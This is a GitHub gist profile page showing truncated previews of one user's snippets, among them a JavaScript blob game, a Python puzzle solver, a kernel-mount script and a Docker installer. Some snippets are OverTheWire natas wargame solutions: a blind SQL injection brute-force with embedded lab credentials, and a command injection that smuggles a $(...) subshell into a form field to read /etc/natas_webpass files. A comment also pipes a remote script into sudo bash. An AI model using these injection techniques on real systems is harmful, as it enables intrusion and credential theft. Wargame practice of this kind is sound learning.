Skip to content

Instantly share code, notes, and snippets.

View nategraf's full-sized avatar

Victor Graf nategraf

View GitHub Profile
@nategraf
nategraf / blobgame.js
Created July 25, 2015 22:47
The first attempt at a game where each player programs an AI to control a blob which goes around and eats all of the smaller blobs. After this I went on to complete the concept by building upon Blockly Games instead of starting from scratch
var updater;
var Ybound = 800;
var Xbound = 900;
passiveStarve = 5;
moveStarve = 1;
var blobs = [];
var foods = [];
$(document).ready( function() {
Previous MaaS was built without virtual environment and relied
on global dependencies. Adding venv makes MaaS plugins work
under an isolated enviroment. The basic idea is the utilization
of a wrapper script to activate the virtualenv before
installing the plugins. And the main changes include adding
set-up virtualenv in the MaaS task and updating templates of
plugins by injecting wrapper script.
if test -n "$1"; then
./natas15-p2.sh "${1:1}" "$2`echo \"${1:0:1}\" | awk '{print tolower($0)}'`"&
./natas15-p2.sh "${1:1}" "$2${1:0:1}"&
else
echo "$2";
fi;
#/usr/bin/env bash
pw="";
again="true";
while [ "$again" = "true" ]; do
again="false";
for c in {{A..Z},{a..z},{0..9},+,/,=}; do
echo "$pw$c%";
if curl http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php --form "username=natas16\" AND password LIKE \"$pw$c%" | grep -q "This user exists"; then
PASS=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
TMPFILE=`mktemp XXXXXXXXXXXXXXX.tmp` || exit 1
for i in {0..31}; do
INJECT="needle=^\$(sed -n \$(od -An -tu1 -N 1 -j$i /etc/natas_webpass/natas17)p dictionary.txt)"
curl http://natas16:${PASS}@natas16.natas.labs.overthewire.org/ --form "${INJECT}" 2> /dev/null | sed -n '23p' >> $TMPFILE
done
cat $TMPFILE | while read line; do
ASCII=$(grep -n "^${line}$" dictionary.txt | cut -f1 -d:)
# Replace "/mnt/floppy" with the whatever directory is appropriate.
sudo mount -o loop dev_kernel_grub.img /mnt/floppy
if [ -e kernel.bin ]; then
sudo cp kernel.bin /mnt/floppy/
sudo echo -e "\ntitle My Kernel \n\troot \t(fd0)\n\tkernel \t/kernel.bin" > /mnt/floppy/boot/grub/menu.lst
else
sudo echo "" > /mnt/floppy/boot/grub/menu.lst
fi
@nategraf
nategraf / csce411hw5pr5.py.py
Created November 13, 2016 22:49
csce411hw5pr5.py created by nategraf - https://repl.it/EWrq/0
import re
from heapq import *
rules = [
lambda s: [s + 'U'] if s[-1] == 'I' else [s],
lambda s: [s[:m.start()+1]+s[m.end():]*2 for m in re.finditer('M',s)],
lambda s: [s[:m.start()]+'U'+s[m.end():] for m in re.finditer('III',s)],
lambda s: [s[:m.start()]+s[m.end():] for m in re.finditer('UU',s)]
]
end = "MUIIU"
@nategraf
nategraf / csce411hw5pr5.py.py
Created November 13, 2016 23:19
csce411hw5pr5.py created by nategraf - https://repl.it/EWrq/1
import re
from heapq import *
rules = [
lambda s: [s + 'U'] if s[-1] == 'I' else [s],
lambda s: [s[:m.start()+1]+s[m.end():]*2 for m in re.finditer('M',s)],
lambda s: [s[:m.start()]+'U'+s[m.end():] for m in re.finditer('III',s)],
lambda s: [s[:m.start()]+s[m.end():] for m in re.finditer('UU',s)]
]
end = "MU"
@nategraf
nategraf / install-docker.sh
Last active December 10, 2017 00:03
Install docker and docker-compose for Ubuntu
#!/bin/bash
# curl https://gist.githubusercontent.com/nategraf/1fe3bcfeca76042abb5eef9a9cfcc9c2/raw/f497a81610d50719353e1025922f76d4d0f6ed38/install-docker.sh | sudo bash
function confirm () {
while true; do
read -p "Does this look right?" yn
case $yn in
[Yy]* ) make install; break;;
[Nn]* ) exit;;
* ) echo "Please answer yes or no.";;
@nategraf
nategraf / Snippets.cs
Created August 18, 2017 21:03
Question
class EventPipeEvent
{
...
private:
// The provider that contains the event.
EventPipeProvider *m_pProvider;
...
}
class EventPipeEventInstance